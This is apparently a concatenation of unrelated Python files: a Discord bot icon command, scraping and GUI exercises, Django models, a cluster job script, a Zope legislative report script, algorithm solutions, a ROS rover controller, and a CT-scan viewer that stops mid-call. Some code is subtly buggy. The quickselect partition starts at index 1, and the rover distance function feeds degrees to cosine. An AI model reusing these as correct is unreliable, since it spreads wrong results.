import discord
import requests

from ... import command_decorator
from ... import helpers

@command_decorator.command("change icon",
                           "Changes the anna-bot's profile icon to an image that the user attaches to the command message.",
                           admin=True)
async def cmd_admin_change_icon(message: discord.Message, client: discord.Client, config: dict):
    """This admin command is used to change the icon of the bot user to a specified image."""

    # Checking if the message has an attachment
    if message.attachments:

        # Looping through the attachments until we find a valid one to use for an icon
        for attachment in message.attachments:

            # Checking if the message has a valid image attachment (just checking if the height and width dict keys exist)
            if ("width" in attachment) and ("height" in attachment):
                # We tell the user that we're changing the icon
                await client.send_message(message.channel,
                                          "Ok {0:s}, now changing the icon to the image you sent!".format(
                                              message.author.mention))

                # We break out of the for loop as we are done
                # Note that as python does not change the last value of a for loop "counter" (in this case attachment) after the for loop has been exited,
                # and that neither for loops nor if statements create new namespaces, the last value of that variable is still a regular variable after the for loop has been executed.
                break

        # This is an else statement for the for loop (no pun intended), which executes after a for loop if the for loop doesn't stop because of a break statement
        else:

            # We tell the user that they didn't attach a valid icon image to their command message
            await client.send_message(message.channel,
                                      "I can't do that {0:s} because you didn't attach an image for me to set my icon to.".format(
                                          message.author.mention))

            # We're done here now
            return

    # The command message didn't have any attachments
    else:

        # We tell the user that they didn't attach a valid icon image to their command message
        await client.send_message(message.channel,
                                  "I can't do that {0:s} because you didn't attach an image for me to set my icon to.".format(
                                      message.author.mention))

        # We're done here now
        return

    # Logging that we're going to change the icon of the bot account
    helpers.log_info(
        "Changing {0:s}'s icon to {1:s} because admin {2:s} ({3:s}) triggered the change icon command.".format(
            client.user.name, attachment["url"], message.author.name, message.author.mention))

    # We download the image and upload it to the discord command simultaneously
    await client.edit_profile(avatar=requests.get(attachment["url"]).content)

    # Logging and telling the user that we're done changing the icon
    helpers.log_info("Now done changing the icon.")
    await client.send_message(message.channel, "Now done changing the icon.")


#!/usr/bin/env python
# -*- coding:utf-8 -*-

from urllib.request import urlopen
from bs4 import BeautifulSoup
import requests

def chapter1():
    html = urlopen("http://pythonscraping.com/pages/page1.html")
    print(html.read())

def chapter2():
    url = "http://www.pythonscraping.com/pages/warandpeace.html"
    html = requests.get(url)
    print("html,status code", html.status_code)
    bs_obj = BeautifulSoup(html.text, "lxml")
    name_list = bs_obj.find_all("span", {"class": "green"})
    print(len(name_list))
    for name in name_list:
        print(name.text)


# -*- coding: utf-8 -*-
from core.main.base.BaseModel import BaseModel
from django.db import models
from django.utils.translation import ugettext_lazy as _

class BaseGeoModel(BaseModel):
    query = models.TextField(max_length=65535, blank=True, null=True)
    data = models.TextField(max_length=65535, blank=True, null=True)

    class Meta:
        abstract = True

class GeoGoogle(BaseGeoModel):

    class Meta:
        db_table = 'geo_google_data'
        verbose_name = _(u'Geo Google Data')
        verbose_name_plural = _(u'Geo Google Data')

class GeoYandex(BaseGeoModel):

    class Meta:
        db_table = 'geo_yandex_data'
        verbose_name = _(u'Geo Yandex Data')
        verbose_name_plural = _(u'Geo Yandex Data')


import tkinter as tk
import pandas as pd

# Read the CSV file into a pandas DataFrame
df = pd.read_csv('cars.csv')
# Remove duplicates from the "Model" column and keep the first occurrence of each unique value
df = df.drop_duplicates(subset="Model", keep="first")

# Create the main window
root = tk.Tk()
root.title("Car Search")
root.geometry("500x300")

# Create the label for the brand dropdown
brand_label = tk.Label(root, text="Brand:")
brand_label.pack()

# Create the dropdown for the brands
brand_var = tk.StringVar()
brand_dropdown = tk.OptionMenu(root, brand_var, *pd.unique(df['Brand']))
brand_dropdown.pack()

# Create the label for the model dropdown
model_label = tk.Label(root, text="Model:")
model_label.pack()

# Create the dropdown for the models
model_var = tk.StringVar()
model_dropdown = tk.OptionMenu(root, model_var, '')
model_dropdown.pack()

# Function to update the models dropdown when the brand is selected
def update_models(*args):
    brand = brand_var.get()
    models = df.loc[df["Brand"] == brand]["Model"].values
    model_var.set(models[0])
    model_dropdown['menu'].delete(0, 'end')
    for model in models:
        model_dropdown['menu'].add_command(label=model, command=lambda value=model: model_var.set(value))

brand_var.trace('w', update_models)

# Create the label for the price range entry
price_label = tk.Label(root, text="Price range:")
price_label.pack()

# Create the entry for the price range
price_var = tk.StringVar()
price_entry = tk.Entry(root, textvariable=price_var)
price_entry.pack()

# Create the search button
search_button = tk.Button(root, text="Search", command=lambda: search(df, brand_var.get(), model_var.get(), price_var.get()))
search_button.pack()

# Function to search for cars
def search(df, brand, model, price_range):
    price_min, price_max = map(float, price_range.split(','))
    result_df = df.loc[(df["Brand"] == brand) & (df["Model"] == model) & (df["Price"] >= price_min) & (df["Price"] <= price_max)]
    print(result_df)

# Start the main event loop
root.mainloop()


cfg={
        'diffusion':{
            'T':500,
            'guided':True,
            'guiding_classifier':'/home/dhruvb/adrl/e0_333_adrl/Assignment_02/chkpt/classifier/classifier20_expt_1a_classifier.chk.pt'
        },
        'training':{
            'batch_size':128,
            'num_epochs':15,
            'lr':0.001,
            'save_path':'./logs/',
            'data_path':'/home/dhruvb/adrl/datasets/img_align_celeba_resampled/',
            'file_extn':'jpg',
            'chkpt_path':'./chkpt/celeba/',
            'chkpt_file':'expt_1a_celeba.chk.pt',
            'load_from_chkpt':False
        },
        'ddpm':{
            'image_size':64,
            'channels':3
        },
        'classifier':{
            'num_classes':10,
            'batch_size':64,
            'num_epochs':20,
            'lr':0.0001,
            'save_path':'./logs/',
            'data_path':'/home/dhruvb/adrl/datasets/img_align_celeba_classes/',
            'file_extn':'jpg',
            'chkpt_path':'./chkpt/',
            'chkpt_file':'expt_1a_classifier.chk.pt',
            'load_from_chkpt':False
        }
    }


from analyse import *
import os
import subprocess
from jinja2 import Template

proteins = initProteins()
proteins.to_pickle('proteins.pkl')

submission = Template("""#!/bin/bash
#PBS -W group_list=ku_10001 -A ku_10001
#PBS -N {{name}}_{{temp}}_map
#PBS -m n
#PBS -l nodes=1:ppn=1:thinnode
#PBS -l mem=10gb
#PBS -l walltime=10:00:00
#PBS -e {{name}}_{{temp}}_map_err
#PBS -o {{name}}_{{temp}}_map_out

source /home/people/giutes/.bashrc
conda activate cpeb4

cd $PBS_O_WORKDIR

python ./contact_maps.py --name {{name}} --temp {{temp}} --chunk {{chunk}}
""")

for name,prot in proteins.loc[['CPEB4','CPEB4pH6','CPEB4pH7']].iterrows():
    for temp in [293]:
        for chunk in range(10):
            with open('{:s}_{:d}_{:d}.sh'.format(name,temp,chunk), 'w') as submit:
                submit.write(submission.render(name=name,temp='{:d}'.format(temp),chunk='{:d}'.format(chunk)))
            subprocess.run(['qsub','{:s}_{:d}_{:d}.sh'.format(name,temp,chunk)])


## Script (Python) "materia_apresentada"
##bind container=container
##bind context=context
##bind namespace=
##bind script=script
##bind subpath=traverse_subpath
##parameters=cod_sessao_plen
##title=
##

from Products.CMFCore.utils import getToolByName
st = getToolByName(context, 'portal_sagl')

REQUEST = context.REQUEST
RESPONSE =  REQUEST.RESPONSE
session = REQUEST.SESSION

for sessao in context.zsql.sessao_plenaria_obter_zsql(cod_sessao_plen=cod_sessao_plen, ind_excluido=0):
  inf_basicas_dic = {}
  tipo_sessao = context.zsql.tipo_sessao_plenaria_obter_zsql(tip_sessao=sessao.tip_sessao,ind_excluido=0)[0]
  inf_basicas_dic["cod_sessao_plen"] = sessao.cod_sessao_plen
  inf_basicas_dic["num_sessao_plen"] = sessao.num_sessao_plen
  inf_basicas_dic["nom_sessao"] = tipo_sessao.nom_sessao
  inf_basicas_dic["num_legislatura"] = sessao.num_legislatura
  inf_basicas_dic["num_sessao_leg"] = sessao.num_sessao_leg
  inf_basicas_dic["dat_inicio_sessao"] = sessao.dat_inicio_sessao
  inf_basicas_dic["dia_sessao"] = context.pysc.data_converter_por_extenso_pysc(data=sessao.dat_inicio_sessao)
  inf_basicas_dic["hr_inicio_sessao"] = sessao.hr_inicio_sessao
  inf_basicas_dic["dat_fim_sessao"] = sessao.dat_fim_sessao
  inf_basicas_dic["hr_fim_sessao"] = sessao.hr_fim_sessao

  # Materias Apresentadas
  lst_materia_apresentada=[]
  for materia_apresentada in context.zsql.materia_apresentada_sessao_obter_zsql(cod_sessao_plen=cod_sessao_plen,ind_excluido=0):
      dic_materia_apresentada = {}
      # seleciona os detalhes de uma matéria
      if materia_apresentada.cod_materia != None:
         materia = context.zsql.materia_obter_zsql(cod_materia=materia_apresentada.cod_materia)[0]
         dic_materia_apresentada["num_ordem"] = materia_apresentada.num_ordem
         dic_materia_apresentada["txt_ementa"] = materia.txt_ementa
         dic_materia_apresentada["id_materia"] = materia.des_tipo_materia+" "+str(materia.num_ident_basica)+"/"+str(materia.ano_ident_basica)
         dic_materia_apresentada["link_materia"] = '<link href="'+context.sapl_documentos.absolute_url()+'/materia/'+ str(materia_apresentada.cod_materia) + '_texto_integral.pdf' +'">'+materia.des_tipo_materia.decode('utf-8').upper()+' Nº '+str(materia.num_ident_basica)+'/'+str(materia.ano_ident_basica)+'</link>'
         dic_materia_apresentada["nom_autor"] = ""
         autores = context.zsql.autoria_obter_zsql(cod_materia=materia_apresentada.cod_materia)
         fields = autores.data_dictionary().keys()
         lista_autor = []
         for autor in autores:
             for field in fields:
                 nome_autor = autor['nom_autor_join']
             lista_autor.append(nome_autor)
         dic_materia_apresentada["nom_autor"] = ', '.join(['%s' % (value) for (value) in lista_autor])
         lst_materia_apresentada.append(dic_materia_apresentada)

      elif materia_apresentada.cod_emenda != None:
         for emenda in context.zsql.emenda_obter_zsql(cod_emenda=materia_apresentada.cod_emenda):
             materia = context.zsql.materia_obter_zsql(cod_materia=emenda.cod_materia)[0]
             dic_materia_apresentada["num_ordem"] = materia_apresentada.num_ordem
             dic_materia_apresentada["txt_ementa"] = emenda.txt_ementa
             dic_materia_apresentada["id_materia"] = 'Emenda ' + emenda.des_tipo_emenda + ' nº ' + str(emenda.num_emenda) + " ao " + materia.sgl_tipo_materia + str(materia.num_ident_basica) + "/" + str(materia.ano_ident_basica)
             dic_materia_apresentada["link_materia"] = '<link href="' + context.sapl_documentos.absolute_url() + '/emenda/' + str(materia_apresentada.cod_emenda) + '_emenda.pdf' + '">' + 'EMENDA ' + emenda.des_tipo_emenda.decode('utf-8').upper() + ' Nº ' + str(emenda.num_emenda) + " - " +  materia.sgl_tipo_materia +' ' + str(materia.num_ident_basica) + '/' + str(materia.ano_ident_basica) + '</link>'
             dic_materia_apresentada["nom_autor"] = ""
             autores = context.zsql.autoria_emenda_obter_zsql(cod_emenda=emenda.cod_emenda)
             fields = autores.data_dictionary().keys()
             lista_autor = []
             for autor in autores:
                 for field in fields:
                     nome_autor = autor['nom_autor_join']
                 lista_autor.append(nome_autor)
         dic_materia_apresentada["nom_autor"] = ', '.join(['%s' % (value) for (value) in lista_autor])
         lst_materia_apresentada.append(dic_materia_apresentada)

      elif materia_apresentada.cod_substitutivo != None:
         for substitutivo in context.zsql.substitutivo_obter_zsql(cod_substitutivo=materia_apresentada.cod_substitutivo):
             materia = context.zsql.materia_obter_zsql(cod_materia=substitutivo.cod_materia)[0]
             dic_materia_apresentada["num_ordem"] = materia_apresentada.num_ordem
             dic_materia_apresentada["txt_ementa"] = substitutivo.txt_ementa
             dic_materia_apresentada["id_materia"] = 'Substitutivo ' + ' nº ' + str(substitutivo.num_substitutivo) + " ao " + materia.sgl_tipo_materia + ' ' + str(materia.num_ident_basica) + "/" + str(materia.ano_ident_basica)
             dic_materia_apresentada["link_materia"] = '<link href="' + context.sapl_documentos.absolute_url() + '/substitutivo/' + str(materia_apresentada.cod_substitutivo) + '_substitutivo.pdf' + '">' + 'SUBSTITUTIVO Nº ' + str(substitutivo.num_substitutivo) + " - " +  materia.sgl_tipo_materia + ' ' + str(materia.num_ident_basica) + '/' + str(materia.ano_ident_basica) + '</link>'
             dic_materia_apresentada["nom_autor"] = ""
             autores = context.zsql.autoria_substitutivo_obter_zsql(cod_substitutivo=substitutivo.cod_substitutivo)
             fields = autores.data_dictionary().keys()
             lista_autor = []
             for autor in autores:
                 for field in fields:
                     nome_autor = autor['nom_autor_join']
                 lista_autor.append(nome_autor)
         dic_materia_apresentada["nom_autor"] = ', '.join(['%s' % (value) for (value) in lista_autor])
         lst_materia_apresentada.append(dic_materia_apresentada)

      elif materia_apresentada.cod_parecer != None:
         for parecer in context.zsql.relatoria_obter_zsql(cod_relatoria=materia_apresentada.cod_parecer):
             materia = context.zsql.materia_obter_zsql(cod_materia=parecer.cod_materia)[0]
             dic_materia_apresentada["num_ordem"] = materia_apresentada.num_ordem
             dic_materia_apresentada["txt_ementa"] = materia_apresentada.txt_observacao
             for comissao in context.zsql.comissao_obter_zsql(cod_comissao=parecer.cod_comissao):
                 sgl_comissao = comissao.sgl_comissao
                 nom_comissao = comissao.nom_comissao
             dic_materia_apresentada["link_materia"] = '<link href="' + context.sapl_documentos.absolute_url() + '/parecer_comissao/' + str(materia_apresentada.cod_parecer) + '_parecer.pdf' + '">' + 'PARECER ' + sgl_comissao+ ' Nº ' + str(parecer.num_parecer) + '/' + str(parecer.ano_parecer) + " - " +  materia.sgl_tipo_materia +' ' + str(materia.num_ident_basica) + '/' + str(materia.ano_ident_basica) + '</link>'
             dic_materia_apresentada["nom_autor"] = nom_comissao.decode('utf-8').upper()
             lst_materia_apresentada.append(dic_materia_apresentada)

      elif materia_apresentada.cod_documento != None:
         materia = context.zsql.documento_administrativo_obter_zsql(cod_documento=materia_apresentada.cod_documento)[0]
         dic_materia_apresentada["num_ordem"] = materia_apresentada.num_ordem
         dic_materia_apresentada["txt_ementa"] = materia.txt_assunto
         dic_materia_apresentada["id_materia"] = materia.des_tipo_documento+" "+str(materia.num_documento)+"/"+str(materia.ano_documento)
         dic_materia_apresentada["link_materia"] = '<link href="'+context.sapl_documentos.absolute_url()+'/administrativo/'+ str(materia_apresentada.cod_documento) + '_texto_integral.pdf' +'">'+materia.des_tipo_documento.decode('utf-8').upper()+' Nº '+str(materia.num_documento)+'/'+str(materia.ano_documento)+'</link>'
         dic_materia_apresentada["nom_autor"] = materia.txt_interessado
         lst_materia_apresentada.append(dic_materia_apresentada)

  casa={}
  aux=context.sapl_documentos.props_sagl.propertyItems()
  for item in aux:
      casa[item[0]]=item[1]
  localidade=context.zsql.localidade_obter_zsql(cod_localidade=casa["cod_localidade"])
  estado = context.zsql.localidade_obter_zsql(tip_localidade="U")
  for uf in estado:
      if localidade[0].sgl_uf == uf.sgl_uf:
          nom_estado = uf.nom_localidade
          break
  inf_basicas_dic['nom_camara']= casa['nom_casa']
  inf_basicas_dic["nom_estado"] = nom_estado
  for local in context.zsql.localidade_obter_zsql(cod_localidade = casa['cod_localidade']):
      inf_basicas_dic['nom_localidade']= local.nom_localidade
      inf_basicas_dic['sgl_uf']= local.sgl_uf

return st.materia_apresentada_gerar_odt(inf_basicas_dic, lst_materia_apresentada)


from collections import defaultdict

n = int(input())
a = list(map(int, input().split()))
colors = set(a)

dic = defaultdict(int)
for i in range(n):
    dic[a[i]] += 1

ans = 0
for color in colors:
    ans += dic[color] // 2

print(ans)


# https://www.geeksforgeeks.org/kth-smallest-largest-element-in-unsorted-array/
# Question : Given an array and a number k where k is smaller than size of array,
# we need to find the k'th smallest element in the given array.
# It is given that all array elements are distinct.
#
# Question Type : ShouldSee
# Used : We will use a recursive function. Within it use the partition function of quicksort,
#        since it gives back position of pivot in sorted array, use it compare with k.
#        Same logic can be used for kth largest element by passing n-k to the above function
# Logic: kthSmallest(arr, left, right, k):
#        if 0 < k <= right - left + 1:
#           pos = partition(arr, left, right)
#           if pos - left == k - 1:
#               return arr[pos]
#           if pos - left > k - 1:
#               return kthSmallest(arr, left, pos-1, k)
#           else:
#               return kthSmallest(arr, pos+1, right, k - (pos - left) - 1)
#        return None
# Complexity : average O(n), worst : O(n^2)
#              We can even use min heap, form a min heap in O(n log n) and
#              extract k times : O(n log n + k log n)

def partition(arr, l, r):
    pivot = arr[r]
    i = l
    for j in range(1, r):
        if arr[j] <= pivot:
            arr[i], arr[j] = arr[j], arr[i]
            i += 1
    arr[i], arr[r] = arr[r], arr[i]
    return i

def kthSmallest(arr, left, right, k):
    # k is positive and within left and right
    if 0 < k <= right - left + 1:
        pos = partition(arr, left, right)

        # check if pivot is the position we were looking at
        if pos - left == k - 1:
            return arr[pos]
        if pos - left > k - 1:
            # then go to left half of array
            return kthSmallest(arr, left, pos - 1, k)
        else:
            return kthSmallest(arr, pos + 1, right, k - (pos - left) - 1)

    return None

if __name__ == "__main__":
    arr = [12, 3, 5, 7, 4, 19, 26]
    print(sorted(arr))
    n = len(arr)
    k = 3
    print("Kth Smallest :", kthSmallest(arr, 0, n - 1, k))
    # kth largest
    print("Kth Largest :", kthSmallest(arr, 0, n - 1, n - k))


#!/usr/bin/env python

import rospy
from std_msgs.msg import Float32
from std_msgs.msg import Int16
from std_msgs.msg import Bool
from geometry_msgs.msg import Twist
from sensor_msgs.msg import NavSatFix
import math
import numpy
import time

global rover_heading, ref_heading, heading_error_i, rover_lat, rover_lon, gps1lat, gps1lon, gps2lat, gps2lon
global ref_coord_1_lat, ref_coord_1_lon, ref_coord_2_lat, ref_coord_2_lon

global f1, path_id
f1 = 0
path_id = 0

rover_heading = 0.0
ref_heading = 10.00
heading_error_i = 0.0

gps1lat = 0.0
gps1lon = 0.0
gps2lat = 0.0
gps2lon = 0.0
rover_lat = 0.0
rover_lon = 0.0

ref_coord_1_lat = 0.1
ref_coord_1_lon = 0.12
ref_coord_2_lat = 0.13
ref_coord_2_lon = 0.14

history = []

#latitudes_field   = [37.260939600, 37.260467900]
#longitudes_field = [-121.839533600, -121.839519100]

latitudes_field   = [ref_coord_1_lat, ref_coord_2_lat]
longitudes_field = [ref_coord_1_lon, ref_coord_2_lon]

def rover_heading_callback(data):
    global rover_heading
    rover_heading = data.data

    #ref_heading = ref_heading + 0.001*val;

def get_bearing(lat1, long1, lat2, long2):
    dLon = (long2 - long1)
    #print(long1)
    x = math.cos(math.radians(lat2)) * math.sin(math.radians(dLon))
    y = math.cos(math.radians(lat1)) * math.sin(math.radians(lat2)) - math.sin(math.radians(lat1)) * math.cos(math.radians(lat2)) * math.cos(math.radians(dLon))
    brng = numpy.arctan2(x,y)
    brng = numpy.degrees(brng)
    if (brng < 0):
        brng = 360 + brng
    return brng

def get_distance(lat1, long1, lat2, long2):
    dLat = (math.radians(lat2) - math.radians(lat1))
    dLon = (math.radians(long2) - math.radians(long1))
    R = 6373.0
    a = math.sin(dLat/2)**2 + math.cos(lat1) * math.cos(lat2) * math.sin(dLon/2)**2
    c = 2* math.atan2(math.sqrt(a), math.sqrt(1-a))
    distance = R*c*1000
    return distance

def average_filter(msg):
    global history
    history.append(msg)
    if len(history) > 20:
        history = history[-20:]
    average = sum(history) / float(len(history))
    return average

def gps1_callback(data):
	global rover_lat, rover_lon, gps1lat, gps1lon, gps2lat, gps2lon
	gps1lat = data.latitude
	gps1lon = data.longitude

def gps2_callback(data):
	global rover_lat, rover_lon, gps1lat, gps1lon, gps2lat, gps2lon
	gps2lat = data.latitude
	gps2lon = data.longitude

def ref_coord1_callback(data):
	global ref_coord_1_lat, ref_coord_1_lon
	ref_coord_1_lat = data.latitude
	ref_coord_1_lon = data.longitude

def ref_coord2_callback(data):
	global ref_coord_2_lat, ref_coord_2_lon
	ref_coord_2_lat = data.latitude
	ref_coord_2_lon = data.longitude

def path_id_callback(data):
    global path_id
    path_id = data.data

def saturation_fn(val, upper_bound, lower_bound):
    x = val
    if x > upper_bound:
        x = upper_bound
    elif x < lower_bound:
        x = lower_bound
    return x

def main():
    global rover_heading, ref_heading, heading_error_i, rover_lat, rover_lon, gps1lat, gps1lon, gps2lat, gps2lon
    cmd = Twist()
    global f1, path_id

    pub_rover_cmdvel  = rospy.Publisher('AGBOT1_cmd_vel', Twist, queue_size=5)
    pub_ref_heading  = rospy.Publisher('/r1/ref_heading', Float32, queue_size=5)
    pub_path_bearing = rospy.Publisher('/r1/path_bearing', Float32, queue_size=5)
    pub_xte = rospy.Publisher('/r1/xte', Float32, queue_size=5)
    pub_exe_status = rospy.Publisher('/r1/exe_status', Bool, queue_size=0)
    pub_dost_to_goal = rospy.Publisher('/r1/dist_to_goal_pose', Float32, queue_size=5)
    pub_rover_pos = rospy.Publisher("/r1/rover_gps", NavSatFix, queue_size=5)

    rospy.init_node('waypoint_heading_controller', anonymous=True)
    rate = rospy.Rate(10) # 10hz

    while not rospy.is_shutdown():

        rospy.Subscriber("ar1_heading", Float32, rover_heading_callback)
        rospy.Subscriber("r1/path_id", Int16, path_id_callback)
        rospy.Subscriber("gps1", NavSatFix, gps1_callback)
        rospy.Subscriber("gps2", NavSatFix, gps2_callback)

        rospy.Subscriber("/r1/ref_coordinate1", NavSatFix, ref_coord1_callback)
        rospy.Subscriber("/r1/ref_coordinate2", NavSatFix, ref_coord2_callback)

        #rospy.Subscriber("ar1_ref_heading", Float32, ar1_ref_heading_callback)

        # rover's position is the average of two gps
        rover_lat = (gps1lat + gps2lat)/2
        rover_lon = (gps1lon + gps2lon)/2
        roverGPS = NavSatFix()
        roverGPS.latitude = rover_lat
        roverGPS.longitude = rover_lon

        latitudes_field   = [ref_coord_1_lat, ref_coord_2_lat]
        longitudes_field = [ref_coord_1_lon, ref_coord_2_lon]

        path_bearing = get_bearing(latitudes_field[0], longitudes_field[0], latitudes_field[1], longitudes_field[1])
        dist_bw_pts  =  get_distance(latitudes_field[0], longitudes_field[0], latitudes_field[1], longitudes_field[1])
        dist_to_goal_pose = get_distance(rover_lat, rover_lon, latitudes_field[1], longitudes_field[1]) # in meters

        path_bearing = 360 - path_bearing
        #if(path_bearing < 0):
        #    path_bearing = 360 + path_bearing

        #rospy.loginfo(path_bearing)

        dy = (latitudes_field[1]- latitudes_field[0])
        dx = (longitudes_field[1]-longitudes_field[0])
        m = dy/dx
        #m = 1
        c = latitudes_field[0] - m*longitudes_field[0]
        a = m
        b = -1.0
        x1 = (rover_lon)
        y1 = (rover_lat)
        d = (a*x1 + b*y1 + c) / (math.sqrt(a*a + b*b))
        xte = d*100000

        ref_heading = path_bearing - 10*xte
        if(path_id == 1):
            ref_heading = path_bearing - 11*xte
        if(path_id == 2):
            ref_heading = path_bearing + 11*xte
        if(path_id == 3):
            ref_heading = path_bearing - 11*xte
        if(path_id == 4):
            ref_heading = path_bearing - 12*xte

        if (ref_heading < 0):
            ref_heading = 360 + ref_heading
        if (ref_heading > 360):
            ref_heading = ref_heading - 360

        #print(ref_heading)

        # linear motion controller to move rover to goal position
        #jj =
        #kk_lx =
        #kp_lx = 0.2
        #ux_raw = kp_lx*dist_to_goal_pose
        #ux = saturation_fn(ux_raw, 0.22, -0.22)
        #ux = 0.14

        # run status
        error_margin = 0.5
        if (dist_bw_pts < 14):
            error_margin = 1.5

        if (dist_to_goal_pose < error_margin) and (f1 == 0):
            run_status_flag = True
            ux = 0
            f1 = 1
            time.sleep(1)
        else:
            f1 = 0
            run_status_flag = False  # really False

        error_heading = ref_heading - rover_heading
        print('bferr_heading', error_heading)
        if (error_heading <= 360) and (error_heading > 180):
            error_heading = -(360-error_heading)
        if (error_heading < -180) and (error_heading > -360):
            error_heading = 360 + error_heading
        #elif (error_heading < -180):
        #    error_heading = error_heading + 360
        #if(rover_heading > 180) and (error_heading <= 360):
        #    error_heading = -error_heading

        #rospy.loginfo(path_id)
        #rospy.loginfo(ref_heading)

        k_p = 0.008
        #k_i = 0.0001
        k_i = 0.0003
        if abs(error_heading > 30):
            k_i = 0
        #rospy.loginfo(dist_to_goal_pose)

        heading_error_i = heading_error_i + error_heading

        if (abs(error_heading) < 1):
            heading_error_i = 0
        if (abs(k_i*heading_error_i) > 0.2):
            heading_error_i = 0.2

        # linear motion controller to move rover to goal position
        kk_lx = 1.0 - saturation_fn( (0.02*abs(error_heading)) , 1.0, 0.0)
        kp_lx = 0.3
        ux_raw = kp_lx*dist_to_goal_pose
        ux = kk_lx*saturation_fn(ux_raw, 0.22, -0.22)
        #ux = 0.14

        print(ux)
        print('pth_heading', path_bearing)
        print('ref_heading', ref_heading)
        print('ar1_heading', rover_heading)
        print('err_heading', error_heading)
        print('err_ii',k_i* heading_error_i)
        print('dist', dist_to_goal_pose)

        #print('err_heading', error_heading)

        #if (path_id == 2):
        #    k_p = -0.0035

        uz_raw = (k_p*error_heading + k_i*heading_error_i)

        #if(error_heading <= 0) and (error_heading < -180):
        #    uz_raw = (k_p*error_heading + k_i*heading_error_i)

        #if ux_raw < 0:
        #    uz_raw = -uz_raw

        uz = saturation_fn(uz_raw, 0.40, -0.40)

        #uz = uz_raw
        #if uz_raw > 0.2:
        #    uz = 0.2
        #if uz_raw < -0.2:
        #    uz = -0.2

        cmd.linear.x = ux
        cmd.angular.z = uz

        #################### PRINT ##################

        rospy.loginfo(xte)
        rospy.loginfo(uz)
        #rospy.loginfo(error_heading)

        # wait for meaningful data to arrive
        if (rover_heading == 1000.0):
            cmd.linear.x = 0
            cmd.angular.z = 0

        pub_rover_cmdvel.publish(cmd)
        pub_ref_heading.publish(ref_heading)
        pub_path_bearing.publish(path_bearing)
        pub_xte.publish(xte)
        pub_exe_status.publish(run_status_flag)
        pub_dost_to_goal.publish(dist_to_goal_pose)
        pub_rover_pos.publish(roverGPS)

        rate.sleep()

if __name__ == '__main__':
    try:
        main()
    except rospy.ROSInterruptException:
        pass


import core
import data

class Menu:
    opts = []
    active = 0
    height = 0
    skipSpace = 20
    spanSpace = 5

    def __init__(self):
        pass
    #enddef

    def draw(self):
        y = (core.height - (self.height + (len(self.opts)-1)*self.spanSpace))/2
        for i, e in enumerate(self.opts):
            if e[0] == None:
                y += self.skipSpace
                continue
            sf = e[0]
            if (i == self.active):
                sf = e[1]
            r = sf.get_rect()
            sf.draw(core.screen, (core.width-r.width)/2, y)
            y += r.height + self.spanSpace
        #endfor
    #enddef

    def behave(self):
        for opt in self.opts:
            if opt[0] != None:
                opt[0].behave()
                opt[1].behave()
        dir = 0
        if core.controls.down:
            dir = +1
            core.controls.down = False
        if core.controls.up:
            dir = -1
            core.controls.up = False
        self.active += dir
        while self.active>0 and self.active < len(self.opts) and self.opts[self.active][0]==None:
            self.active += dir
        if self.active<0:
            self.active = len(self.opts) - 1
        if self.active >= len(self.opts):
            self.active = 0
        if core.controls.fire or core.controls.enter:
            core.controls.enter = False
            core.controls.fire = False
            if self.opts[self.active][2]:
                self.opts[self.active][2]()
        #endif
    # enddef

    def set(self, no, entry, selectedEntry, callback = None):
        if len(self.opts) <= no:
            addLen = 1+no-len(self.opts)
            self.opts += [(None, )]*(addLen)
            self.height += (addLen - 1) * self.skipSpace
        self.opts[no] = (entry, selectedEntry, callback )
        self.height += self.opts[no][0].get_rect().height
    #enddef
#endclass


import numpy as np
import os
from imageio import imwrite
from utils.niiutils import load_case,ROOT_PATH
from matplotlib import pyplot as plt
import scipy.misc
import argparse

DEFAULT_KIDNEY_COLOR = [255,0,0]
DEFAULT_TUMOR_COLOR = [0,0,255]
DEFAULT_HU_MAX = 512
DEFAULT_HU_MIN = -512
DEFAULT_OVERLAY_ALPHA = 0.3
DEFAULT_PLANE = 'axial'

def hu_to_grayscale(volume,hu_min,hu_max):

    '''
    图像灰度化
    '''

    if hu_min is not None or hu_max is not None:
        volume = np.clip(volume,hu_min,hu_max)

    mxval = np.max(volume)
    mnval = np.min(volume)
    im_volume = (volume - mnval)/max(mxval - mnval, 1e-3)

    im_volume = 255*im_volume
    return np.stack((im_volume,im_volume,im_volume),axis=-1)

def class_to_color(segmentation,k_color,t_color):

    shp = segmentation.shape
    seg_color = np.zeros((shp[0],shp[1],shp[2],3),dtype=np.float32)

    seg_color[np.equal(segmentation,1)] = k_color
    seg_color[np.equal(segmentation,2)] = t_color
    return seg_color

def overlay(volume_ims, segmentation_ims, segmentation,alpha):

    segbin = np.greater(segmentation, 0)#产生bool数组
    repeated_segbin = np.stack((segbin,segbin,segbin),axis=-1)

    overlayed = np.where(
        repeated_segbin,
        np.round(alpha*segmentation_ims+(1-alpha)*volume_ims).astype(np.uint8),
        np.round(volume_ims).astype(np.uint8)
    )
    return overlayed

def display(cid, destionation=None,hu_min=DEFAULT_HU_MIN,hu_max=DEFAULT_HU_MAX,
    k_color = DEFAULT_KIDNEY_COLOR,
    t_color = DEFAULT_TUMOR_COLOR,
    alpha = DEFAULT_OVERLAY_ALPHA,
    plane=DEFAULT_PLANE):

    plane = plane.lower()

    plane_opts = ['axial', 'coronal', 'sagittal']#轴向、冠状、矢状显示
    if plane not in plane_opts:
        raise ValueError((
        'Plane \"{}\" not understood.Must be one of following\n\n\t{}\n'
        ).format(plane_opts,plane_opts)
    )
    out_path = None
    if destionation:
        out_path = destionation
    if out_path and not os.path.exists(out_path):
        os.mkdir(out_path)
    #加载case数据
    vol,seg = load_case(cid)
    spacing = vol.affine
    vol = vol.get_data()
    seg = seg.get_data()
    seg = seg.astype(np.int32)
    #转换可显示的格式
    vol_ims = hu_to_grayscale(vol,hu_min,hu_max)
    seg_ims = class_to_color(seg,k_color,t_color)

    if plane == plane_opts[0]:#轴状显示

        viz_ims = overlay(vol_ims,seg_ims,seg,alpha)
        if out_path:
            for i in range(np.shape(viz_ims)[0]):
                fpath = os.path.join(out_path,'{:05d}.png'.format(i))
                imwrite(fpath,viz_ims[i])

    if plane == plane_opts[1]:
        spc_ratio = np.abs(np.sum(spacing[2,:]))/np.abs(np.sum(spacing[0,:]))
        ims = []
        for i in range(np.shape(vol_ims)[1]):
            vol_im = scipy.misc.imresize(
                vol_ims[:,i,:], (
                    int(vol_ims.shape[0]*spc_ratio),
                    int(vol_ims.shape[2])
                ), interp="bicubic"
            )
            seg_im = scipy.misc.imresize(
                seg_ims[:,i,:], (
                    int(vol_ims.shape[0]*spc_ratio),
                    int(vol_ims.shape[2])
                ), interp="nearest"
            )
            sim = scipy.misc.imresize(
                seg[:,i,:], (
                    int(vol_ims.shape[0]*spc_ratio),
